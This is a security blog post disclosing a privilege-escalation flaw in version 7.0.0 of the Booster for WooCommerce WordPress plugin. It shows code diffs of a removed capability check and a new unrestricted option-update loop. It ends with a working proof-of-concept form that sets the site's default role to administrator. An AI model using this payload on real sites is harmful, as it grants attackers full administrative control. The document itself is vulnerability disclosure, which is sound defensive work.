28 Jul 2023

Latest Update of 60,000+ Install WooCommerce Extending Plugin Removes Basic Security

WordPress security providers have been claiming for years that the security of WordPress plugins is improving. Here was how the WP Tavern put it as coming from Patchstack in March:

The report emphasized that the increase in the number of vulnerabilities reported means that ecosystem is becoming more secure as the result of more security issues being found and patched.

Yet here was the WP Tavern quoting a Wordfence employee in August 2021:

“First and foremost, we aren’t seeing a lot of newly introduced vulnerabilities in plugins and themes but rather we are seeing a lot of older vulnerabilities in older plugins and themes being reported/fixed that just weren’t detected until now,” Wordfence Threat Analyst Chloe Chamberland said.

“Vulnerabilities aren’t being introduced as frequently and more vulnerabilities are being detected simply due to the higher activity of researchers which is in turn positively impacting the security of the WordPress ecosystem. Considering it isn’t newly introduced vulnerabilities that are being frequently discovered, I feel confident in saying that the increase in discoveries doesn’t indicate that the ecosystem is getting less secure at all but rather getting more secure.”

That these providers keep claiming that things are getting better either suggests that things were really bad before or that things are not actually improving as they keep claiming.

The quote from Wordfence was specifically claiming that newly introduced vulnerabilities are not being discovered. There is more than one explanation for that. One being that detection of new vulnerabilities isn’t very good, not that new vulnerabilities are not being introduced.

We do proactive monitoring to try to catch serious vulnerabilities in WordPress plugins as they are introduced. There are so many issues that we don’t have time to deal with all them, which belies the Wordfence claim. One that we did have time to look into suggests that things are not all that rosy.

The plugin Booster for WooCommerce is a plugin with 60,000+ installs and as the name suggests, it extends WooCommerce. You would hope that plugins that are designed to extend eCommerce software would be well secured. That isn’t the case with the latest update to that, 7.0.0.

That version makes significant changes to the file /includes/admin/class-wcj-settings-manager.php. Previously, the function manage_options() made sure that a request to make changes to the settings was only accessible to someone with the manage_options capability, so Administrators:

38
39
40
41
42
public function manage_options() {
	if ( is_admin() ) {
		if ( ! function_exists( 'current_user_can' ) || ! current_user_can( 'manage_options' ) ) {
			return;
		}

That was removed from the new version:

40
41
42
43
44
45
46
47
48
49
50
public function manage_options() {
	$msg = __( 'Your settings have been saved.', 'woocommerce-jetpack' );
 
	require_once ABSPATH . '/wp-admin/includes/file.php';
	global $wp_filesystem;
	WP_Filesystem();
	$file_name = 'booster_settings.txt';
	$file_path = wcj_get_wcj_uploads_dir() . DIRECTORY_SEPARATOR . $file_name;
	if ( $wp_filesystem->exists( $file_path ) ) {
		$wp_filesystem->delete( $file_path, true );
	}

That function is now routed through an admin post request:

29
30
if ( is_admin() ) {
	add_action( 'admin_post_wcj_save_general_settings', array( $this, 'manage_options' ) );

That makes it accessible to anyone logged in to WordPress. The function is_admin() checked first there, only checks if an admin page is being accessed, which will always be true for admin post requests.

The only thing now restricting access to those logged in from changing the plugin’s settings is a nonce check, which is intended to prevent cross-site request forgery (CSRF):

51
	$wpnonce = isset( $_REQUEST['wcj-verify-manage-settings'] ) ? wp_verify_nonce( sanitize_key( $_REQUEST['wcj-verify-manage-settings'] ), 'wcj-verify-manage-settings' ) : false;

That nonce check isn’t intended to limit what users have access:

Nonces should never be relied on for authentication, authorization, or access control.

What caused our proactive monitoring to flag this was another change made. The code now allows updating any WordPress setting (option):

88
89
90
		foreach ( $_POST as $key => $value ) {
			update_option( $key, $value );
		}

A plugin should only allow updating relevant settings.

So far, we have seen a couple of security issues being introduced. This becomes a vulnerability as it turns out access to the nonce checked for is accessible by users with the WooCommerce role Shop Manager. That role isn’t intended to have the access an Administrator has:

Shop Manager is a role you can give someone to manage the shop without making them an Admin.

By exploiting the ability update arbitrary options, a Shop Manager could create new Administrator accounts, as the proof of concept below confirms.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Proof of Concept

The following proof of concept will turn on user registration and set the default role for new users to Administrator, when logged in to WordPress as a Shop Manager.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value of wcj-verify-manage-settings of found in the source code of the plugin’s setttings page (/wp-admin/admin.php?page=wcj-general-settings).

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php?action=wcj_save_general_settings&wcj-verify-manage-settings=[nonce]" method="POST">
<input type="hidden" name="users_can_register" value="1">
<input type="hidden" name="default_role" value="administrator">
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.